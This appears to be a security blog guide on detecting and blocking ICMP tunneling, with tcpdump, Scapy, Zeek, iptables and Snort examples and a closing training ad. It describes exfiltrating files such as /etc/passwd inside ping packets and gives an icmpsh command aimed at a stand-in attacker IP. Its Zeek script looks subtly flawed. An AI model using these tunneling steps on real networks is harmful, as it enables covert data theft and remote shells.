ICMP tunneling, sometimes called "covert ping-based attacks," is a stealthy network attack technique where malicious actors hide command-and-control (C2) traffic or data exfiltration activities inside otherwise benign Internet Control Message Protocol (ICMP) packets. Because ICMP—commonly known for ping requests—typically flies under the radar of firewall and intrusion detection systems, it presents a serious challenge for IT security teams.
In this guide, we'll explain what ICMP tunneling is, how attackers implement it, why it's an attractive method for evasion, and—most importantly—how security professionals and network admins can detect and defend against ICMP tunnel attacks. We'll go from beginner explanations to advanced detection, including real-world examples and code samples to scan, monitor, and parse network traffic for ICMP tunneling activity.
The Internet Control Message Protocol (ICMP) is a fundamental part of the Internet Protocol Suite. It is designed for error messages, network diagnostics, and status messaging.
Key Facts:
ping), Destination Unreachable, Time Exceeded, and others.ping, traceroute), error reporting between network devices.When you issue:
ping google.com
Your computer generates a series of ICMP Echo Request packets, and Google (if it allows ping) responds with ICMP Echo Reply packets.
ICMP tunneling is a technique that encapsulates arbitrary payload data inside ICMP packets. This data may include files being exfiltrated, shell commands, or even an entire TCP connection, all hidden inside otherwise normal-looking ping requests or replies.
Because organizations often allow ICMP traffic through their perimeter firewalls (for legitimate troubleshooting), attackers exploit this trust to pass hidden data or create backdoors into a network.
Definition:
ICMP tunneling is a covert communication method where attackers encode malicious or unauthorized data within ICMP packets to bypass network access controls.
ICMP tunneling leverages the structure of ICMP packets—especially Echo Request/Reply—to carry extra, concealed data.
icmpsh, ptunnel, or custom scripts.A normal ICMP Echo Request packet might look like:
| Field | Example Value |
|---|---|
| Type | 8 (Echo Request) |
| Code | 0 |
| Checksum | 6920 |
| Identifier | 13 |
| Sequence Num | 250 |
| Data | "Hello, world!" |
An ICMP tunneling attack might place base64-encoded exfiltrated data into the "Data" section.
Firewalls typically block direct external connections (e.g., outbound SSH, exfiltration through HTTP/S).
However, ICMP is frequently whitelisted to enable network troubleshooting, even across organizational boundaries.
Advanced persistent threat (APT) actors use ICMP tunnels to manage compromised hosts, send commands, and extract files—all without raising typical network alerts.
A range of open-source offensive security tools support ICMP tunneling:
An insider threat or malware on a workstation wishes to smuggle sensitive files out of the organization.
Steps:
/etc/passwd) are split, encoded, and hidden inside multiple Echo Requests.Penetration testers and attackers deploy tools like icmpsh:
icmpsh -t <attacker_ip>.Reports have surfaced of APTs and malware (notably Backdoor.Win32.ICMPdoor) leveraging ICMP tunneling for persistent access in high-security environments that otherwise block all outbound but HTTP/HTTPS—and ICMP.
ICMP tunneling detection hinges on identifying anomalous patterns or inspecting ICMP packet payloads.
A packet capture tool often used to inspect ICMP traffic.
# Capture all ICMP traffic, verbose output
sudo tcpdump -n -v icmp
Sample suspicious output (truncated):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
Note: 1024 bytes is much larger than normal ping ICMP payloads!
A graphical packet analyzer.
icmpA powerful network security monitoring tool with built-in ICMP scripting.
Script to log abnormal ICMP payloads:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Log or alert on large payloads
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Bash example: Log all outbound ping payloads.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Python example: Parse pcap for abnormal ICMP payloads
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
To proactively hunt for ICMP tunnel misuse, regular scans and anomaly detection are vital.
Use tools like ELK stack, Zeek, Wireshark to:
Find largest ICMP packets in real time:
sudo tcpdump -ni eth0 icmp and greater 200
List packet sizes from dump:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy: Report echo requests with large payloads
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Example: Block outbound ICMP with iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Snort Rule Example:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
Research has shown that stateless monitoring—tracking flows and sizes of ICMP packets, not just their state or sequence—can be a low-impact and scalable way of detecting tunneling.
According to Singh & Nordström, stateless models can effectively flag covert channels without significantly impacting end hosts or routers—even at scale.
ICMP tunneling represents a low and slow threat that blends seamlessly into legitimate network operations, making detection and defense challenging for blue teams. With the widespread use of ICMP for diagnostics and the frequency with which organizations allow such traffic through their firewalls, it is a preferred vehicle for attackers establishing covert command and control, exfiltrating sensitive data, or accessing compromised hosts.
By baselining your network’s legitimate ICMP activity and employing both signature and anomaly-based detection, your organization can neutralize this stealthy threat vector before it results in data loss or further compromise.
Secure your perimeter—and never ignore the humble ping!
If you found this content valuable, imagine what you could achieve with our comprehensive 47-week elite training program. Join 1,200+ students who've transformed their careers with Unit 8200 techniques.